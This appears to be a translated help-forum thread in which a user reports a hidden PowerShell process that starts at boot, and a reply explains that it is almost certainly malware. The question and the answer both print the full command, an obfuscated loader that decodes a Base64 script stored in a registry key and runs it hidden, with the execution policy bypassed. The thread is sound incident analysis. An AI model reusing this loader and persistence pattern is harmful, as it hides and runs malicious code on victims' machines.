Processo powershell.exe aleatório?

Processo powershell.exe aleatório?

Percebi há alguns dias no Gerenciador de Tarefas que tenho um processo powershell.exe em execução. Quando fui ao msconfig, ele tinha um comando muito longo. Aqui está:

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));

Isso é muito estranho porque ainda hoje apareceu um processo aleatório com o qual tive problemas antes (talvez não esteja relacionado com isso, mas apenas dizendo) que é um vírus e tentei baixar um driver não seguro, como diz o Windows, no meu PC. Alguém poderia me dizer algo sobre esse processo do PowerShell? Ele inicia na inicialização e está sempre em execução. Mais uma vez, espero não parecer ignorante, talvez seja apenas um processo normal de inicialização.

Responder1

Isto é quase certamente malicioso.

Vamos desmontar isso. Ele invoca o Windows PowerShell (um interpretador de comandos legítimo e muito útil) sem personalizações do usuário ( -noprofile) em uma janela oculta ( -windowstyle hidden), permitindo que a sessão do PowerShell execute scripts independentemente da política do sistema ( -executionpolicy bypass). Em seguida, ele executa este comando:

iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))

gpsignifica Get-ItemProperty, que pode ser usado para recuperar valores de chaves do Registro, e é isso que está fazendo aqui. Aparentemente, há uma chave chamada SAJELFZIXHQTVna sua chave de usuário atual Software\Classes. Essa chave tem um valor chamado ADUXJH, cujos dados são gprecuperados. Esses dados (evidentemente uma string) são entãoBase64-decodificado em uma matriz de bytes ( FromBase64String). Esses bytes são então interpretados como texto ASCII ( ASCII.GetString). Estranhamente, há um ponto extra no original, o que deve causar um erro porque o ASCIIobjeto não possui nenhum membro chamado Get. Dado que o processo continua, suspeito que o ponto extra seja apenas um erro de transcrição.

Se esse erro não existisse, o texto resultante seria invocado como um comando do PowerShell ( iex). Resumindo, este comando foi projetado para carregar um script codificado do Registro e executá-lo. Para ver exatamente o que está sendo executado, copie o comando do PowerShell acima menos o iexe com o ponto extra removido em um prompt do PowerShell e execute-o. Ele imprimirá o comando que seria invocado. É quase certo que não será benigno.

Você pode impedir que essa entrada seja iniciada automaticamente com oExecuções automáticasferramenta. No entanto, provavelmente é uma boa ideia fazer uma limpeza mais profunda em sua máquina, pois provavelmente ela está infectada. Por favor, vejaComo posso remover spyware, malware, adware, vírus, trojans ou rootkits maliciosos do meu PC?

informação relacionada